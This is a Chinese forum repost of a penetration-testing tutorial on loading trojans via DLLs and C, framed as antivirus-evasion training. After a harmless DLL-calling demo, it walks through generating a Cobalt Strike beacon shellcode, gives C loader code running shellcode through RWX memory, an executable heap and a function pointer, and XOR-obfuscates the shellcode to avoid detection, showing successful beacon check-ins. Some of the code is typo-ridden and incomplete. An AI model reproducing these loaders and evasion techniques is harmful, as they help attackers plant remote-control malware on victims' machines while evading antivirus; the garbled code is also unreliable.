徐锦洪 发表于 2025-3-28 13:51:02

内网渗透-DLL和C语言加载木马

免杀进阶技能

1、DLL的定义与使用

DLL:Dynamic Link library,动态链接库,是一个无法自己运行,必要额外的命令或步调来对其接口举行调用(类方法、函数)。
(1)在DevCpp中创建一个DLL项目
https://i-blog.csdnimg.cn/direct/1410a62a73a94045bf88c48f98255147.png
 (2)在dllmain.c中定义源代码函数接口
#include "dll.h"
#include windows. h

DLLIMPORT void Helloworld()
{
    MessageBox (0, "Hello World from DLL! \n", "Hi" ,MB_ICONINFORMATION):
}

DLLIMPORT int Calculate (int a, int b) {
    int result = a + b;
    return result;
}
(3)在dll.h的头文件中声明函数接口
DLLIMPORT void Helloworld();
DLLIMPORT int Calculate(int a, int b); (4)在Python中调用DLL函数接口
没有编译之前都是源代码
https://i-blog.csdnimg.cn/direct/b07fd1b09a0745399b925d0a2023718c.png
当我们点击编译
https://i-blog.csdnimg.cn/direct/37971f931b1e4d9b922d5c212ace6609.png
 发现编译无错误,编译成功https://i-blog.csdnimg.cn/direct/48ac9e02088e4017a3ccf1e5dd4be985.png
编译一旦成功,这里就会天生一个DLL文件
https://i-blog.csdnimg.cn/direct/6be1d6f80bc94b878aca762ef9d60a39.png
由于DLL只是供别人调用的一个函数库,以是自己本身是不能运行的
假如我们直接点击运行,会告诉我们没有提供主步调,那么是没有办法举行运行的,它只是写好给别的步调调
https://i-blog.csdnimg.cn/direct/ce53cdb81824476ca952b66824116c2a.png
然后将这个dll文件复制到我们的python目次下来,然后我们就可以在python当中举行调用了
https://i-blog.csdnimg.cn/direct/6df1af5dabf34d3c9bc21c17e2869ea6.png
然后我们创建一个dlltest.py,开始写入代码
import ctypes

#加载DLL文件
func = ctypes.CDLL("./MyDLLDemo.dll")

#调用函数
func.HelloWorld() 运行这段代码,运行效果如下:
https://i-blog.csdnimg.cn/direct/1ed7b997a1ad4c19a110bf961d89c41f.png
然后我们再调用一个函数
result = func.Calculate(100,200)
print(result) 运行效果如下:
https://i-blog.csdnimg.cn/direct/36bebb9d704b4022a07baf08e1b0050d.png
2、C语言加载ShellCode

1、在MSF或CS中天生C语言的ShellCode
unigned 叫无符号型(没有负数位),有符号位:-128-127,无符号:0-255
char buf[] 表示定义了一个字符数组(也可以当作是字符串,C语言没有内置字符串范例),在c语言中也可以用字符指针举行定义
https://i-blog.csdnimg.cn/direct/3444658b8662477dae52bf635d57b8b0.png
我们使用32位的,不适用64位的
https://i-blog.csdnimg.cn/direct/ecf9e0b53a104ba7a954f55c347e3d21.png
然后选择HTTP_Beacon
https://i-blog.csdnimg.cn/direct/b61efe0f2aa7483da4aea4d9daa91eb7.png
生存到Muma18的目次底下去
https://i-blog.csdnimg.cn/direct/3fe548e4d72d4343993d288ca493bde6.png
然后打开payload.c,这就是一个C语言版本的CS的payload
https://i-blog.csdnimg.cn/direct/bb0382b11b0743d098d7ce7b0fd18c3b.png
2、在C语言中对其举行加载实现CS上线
我们新建一个C语言的可执行项目,名称叫做RunCS
https://i-blog.csdnimg.cn/direct/e0bc89475cb342a48dc6db7ae2a345bd.png
将我们天生的payload输入进去
https://i-blog.csdnimg.cn/direct/76255e40af6f44ada2ae6e163e21debb.png
编译没有报错
https://i-blog.csdnimg.cn/direct/3f753b7e74714cc9ad432554b756826c.png
 然后运行,没有报错https://i-blog.csdnimg.cn/direct/7174e181c3264b08942bb95a5fcf5e5d.png
 然后发现上线成功https://i-blog.csdnimg.cn/direct/7f8954cacde64f648e5a7b0c24788753.png
 运行代码的时候,文件夹里会出现可执行步调RunCS.exehttps://i-blog.csdnimg.cn/direct/0b8c406c08ca42c49cbed0d46c869ee4.png
这种步调不会免杀的
https://i-blog.csdnimg.cn/direct/b2ef00b9041a4b66ab4e408636fb5911.png
 3、C语言加载调用shellcode的几种方式
//第一种加载:申请内存加载
void *p = Virtualalloc (NULL, sizeof (enc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcdy(p,enc,sizeof(enc));
CODE code = (CODE) p;
code();
}


//第二种加载:堆加载
HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(enc)) ;
memcpy (exec, enc, sizeof(enc));
((void (*) ()) exec) () ;


//第三种加载:函数指针加载
((void (*) (void)) & enc) () ; 使用内存加载的方式
https://i-blog.csdnimg.cn/direct/6879d3f82925443aaada90d33a067018.png
然后我们编译运行,发现没有问题,阐明编译成功
https://i-blog.csdnimg.cn/direct/78e152c272e84729a6093fbc10096b20.png
上线成功
https://i-blog.csdnimg.cn/direct/d4e59e46fe454639b90440e0a8b1e569.png
使用堆加载的方式
https://i-blog.csdnimg.cn/direct/da18bcf0189d44308ffe0a4e2a796967.png
编译运行成功
https://i-blog.csdnimg.cn/direct/b43a38ef7c754307bf4e8794f53705ef.png
成功上线
https://i-blog.csdnimg.cn/direct/0ecddd6b32a84d4e83f6570af84a2d75.png
 将这几种代码整合起来,如下:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

typedef void (__stdcall *CODE) () ;

/* run this program using the console pauser or add your own getch, system("pause") or input loop */

unsigned char buf [] = "'xfc\xe8\×89\×00\x00\×00\×60\×89\xe5\×31\xd2\×64\x8b\×52";


void start () {
    申请内存加载
    /*
    void *p = Virtualalloc(NULL, sizeof (buf), MEM_COMMIT | MEM_RESERVE,                         PAGE_EXECUTE_READWRITE);
    memcpy (p, buf, sizeof(buf));
    CODE code = (CODE) p;
    code();
    */
   
    堆加载
    HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
    void* exec = HeapAlloc (myHeap, HEAP_ZERO_MEMORY, sizeof (buf));
    memcpy (exec, buf, sizeof(buf));
    ((void (*) ()) exec) () ;
   
    函数指针加载
    /* ((void(*) (void)) & buf) (); */

int main(int arge, char targv[]) {
    start();
    return 0;
} 以上加载器不免杀

3、实验对ShellCode举行代码肴杂

对我们的shellcode举行异或处理,然后打印到控制台上去
https://i-blog.csdnimg.cn/direct/5014a3ffa85849b1a0dd51b8a4d062e1.png
编译成功,阐明没有错误
https://i-blog.csdnimg.cn/direct/4303164402b441c4bf0780663a549a46.png
 然后运行,成功打印,正常输出异或加密处理过的shellcode,相当于做了一个代码肴杂
https://i-blog.csdnimg.cn/direct/f028bbc2a3cf40789fe336e919f45a7e.png
得到了加密的之后,我们就来解密
将加密的ShellCode放到一个字符数组内里去,然后调用下面的代码,使用函数指针加载的方式去加载调用解密之后的ShellCode
https://i-blog.csdnimg.cn/direct/86d24476d74344bf9c10ab467b39168b.png
编译运行成功
https://i-blog.csdnimg.cn/direct/6646d4969b284c8299d62d7715897d8c.png
 上线成功https://i-blog.csdnimg.cn/direct/47999a94b14345c6a04cc866aaa4ee28.png

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 内网渗透-DLL和C语言加载木马